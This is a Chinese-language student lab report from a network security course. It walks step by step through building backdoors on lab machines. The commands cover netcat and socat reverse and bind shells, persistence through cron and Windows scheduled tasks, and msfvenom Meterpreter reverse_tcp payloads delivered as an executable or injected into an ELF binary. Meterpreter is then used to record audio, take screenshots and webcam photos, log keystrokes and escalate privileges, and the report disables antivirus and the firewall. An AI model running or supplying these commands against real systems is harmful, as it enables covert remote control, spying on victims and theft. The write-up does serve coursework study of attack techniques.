一.實驗內容
(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)
PS:cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序
(2)使用socat獲取主機操作Shell, 任務計劃啟動
(3)使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。
二.實驗過程
1.使用netcat獲取主機操作Shell,cron啟動某項任務
(1)檢視主機和虛擬機器ip
主機:
虛擬機器:
(2)使用netcat進行連線並獲取shell
主機cmd進入ncat所在目錄,輸入指令:ncat.exe -l -p 2422
虛擬機器登入root使用者,輸入指令:nc 172.20.10.9 2422 -e /bin/sh
win主機輸入指令,測試主機是否成功獲取虛擬機器shell
如上圖,成功獲取。
(3)透過設定cron使得kali啟動定時任務。
進入虛擬機器的虛擬機器的root賬戶,輸入crontab -e
輸入指令30 * * * * /bin/netcat 172.20.10.9 2422 -e /bin/sh,設定為在每小時的第30分鐘啟動任務,之後輸入crontab -l檢視時程表:
此時,在虛擬機器/var/spool/cron/crontabs檔案中會出現一個root檔案
將主機與虛擬機器建立好連線,輸入:echo "* * * * * echo "20222422" > /home/kali/2422_1.txt" > /var/spool/cron/crontabs/root
檢視檔案是否被成功修改:
如上圖,已被成功修改。
2. 使用socat獲取主機操作Shell,任務計劃啟動
首先在主機端安裝socat,然後將cmd調至socat所在檔案
在主機輸入:socat.exe tcp-listen:2422 exec:cmd.exe,pty,stderr,把cmd.exe繫結到埠2422,並把cmd.exe的stderr重定向到stdout
在虛擬機器上輸入:socat - tcp:192.168.1.113:2422
在主機端編寫程式:
在虛擬機器輸入:schtasks /create /sc minute /mo 1 /tn "20222422tky" /tr E:\桌面\大三上學期\網路攻防\實驗二\code\bin\Debug\code.exe來每一分鐘執行一次這個程式:
在主機上,開啟計算機管理,看到正在執行的任務名“20222422tky”,說明實驗成功。
3.在Linux下使用MSF meterpreter生成可執行檔案,利用ncat或socat傳送到Windows主機並執行獲取主機shell
關閉windows的實時保護,同時關閉防火牆進行實驗。
(1)生成後門檔案
獲取虛擬機器ip
輸入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.130 LPORT=2422 -f exe > 2422backdoor.exe(使用msfvenom 工具生成一個反向 TCP Meterpreter shell 的 payload,並將其儲存到一個可執行檔案中。)
主機進入ncat所在目錄下,輸入指令:
ncat.exe -lv 2422 > "E:\桌面\2422backdoor.exe"(監聽2422視窗等待接收可執行檔案2422backdoor.exe,並將2422backdoor.exe檔案存放在桌面上)
虛擬機器上輸入指令:
nc 192.168.1.113 2422 < 2422backdoor.exe(將生成的後門檔案2422backdoor.exe傳給主機)
成功在桌面上接收到檔案:
(3)配置監聽模組
回到虛擬機器,在Kali終端輸入命令msfconsole,然後對監聽模組進行配置:
use exploit/multi/handler(使用監聽模組,設定payload)
set payload windows/meterpreter/reverse_tcp (使用和生成後門程式時相同的payload)
set LHOST 192.168.198,131 (攻擊機的IP地址,和生成後門程式時指定的IP相同)
set LPORT 2422(監聽的埠)
接著輸入exploit,使監聽模組開始執行,並在Windows執行後門2422backdoor.exe檔案
4.使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
(1)獲取目標主機音訊、截圖、攝像頭、鍵盤記錄
在exploit模組中繼續輸入以下命令:
record_mic (音訊)
screenshot (截圖)
webcam_snap (拍照)
keyscan_start (開始讀取鍵盤記錄)
keyscan_dump (讀取鍵盤記錄結束)
結果如下:(鍵盤記錄的字串將直接顯示在命令欄上)
(2)提權
使用管理員身份執行windows的cmd,繼續在exploit模組中繼續輸入:
getuid (檢視當前使用者)
getsystem (提權指令)
5.使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
在kali命令列下輸入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -x /root/Desktop/pwn20222422 -f elf > pwn_2422
(使用了msfvenom 工具生成一個 Meterpreter 反向 TCP shell的 payload,並將其注入到指定的可執行檔案中,然後將結果輸出到一個名為pwn_2422的檔案中。)
對生成的pwn_2422檔案賦予許可權:
重現監聽:
開啟另一個shell,執行生成的2422_pwn檔案(需要使用root許可權),回到第一個終端,成功實現遠端控制shell
3.問題及解決方案
問題一:在使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell實驗中,最開始輸入的命令是msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -x /root/Desktop/pwn20222422 -f elf > 2422_pwn,隨後在監聽中也使用的是linux/x64/meterpreter/reverse_tcp的payload,發現實驗無法成功。
問題一解決:將命令裡的x64更改為x86,即linux/x86/meterpreter/reverse_tcp後再進行後續步驟,發現實驗成功。
問題二:在生成後門檔案,並傳輸到windows後,發現windows不讓啟動後門檔案,且過段時間會自動刪除。
問題二解決:在實驗前把windows的防火牆和實時保護等功能關閉,發現能夠成功執行後門檔案。
問題三:在使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell實驗中,發現生成的pwn_2422無法執行,沒有許可權。
問題三解決:輸入chmod a+x pwn_2422和chmod 755 pwn_2422來賦予許可權,得以解決。
4.學習感悟、思考等
這次實驗讓我深刻體會到了網路安全工具的多樣性和強大功能。無論是netcat、socat這樣的網路工具,還是Metasploit Framework(MSF)這樣的滲透測試框架,它們都在各自的領域內發揮著不可替代的作用。透過學習和使用這些工具,我不僅掌握了它們的基本操作,更重要的是,我學會了如何根據實際需求靈活運用它們,以達到預期的安全目標。
實驗過程中遇到的種種挑戰和困難,讓我深刻認識到了網路安全領域的複雜性和動態性。無論是緩衝區溢位、許可權提升,還是資訊收集、遠端監控,每一個實驗都涉及到了多個層面的知識和技能。在解決問題的過程中,我不僅鍛鍊了自己的邏輯思維和問題解決能力,還學會了如何快速適應和應對不斷變化的網路環境。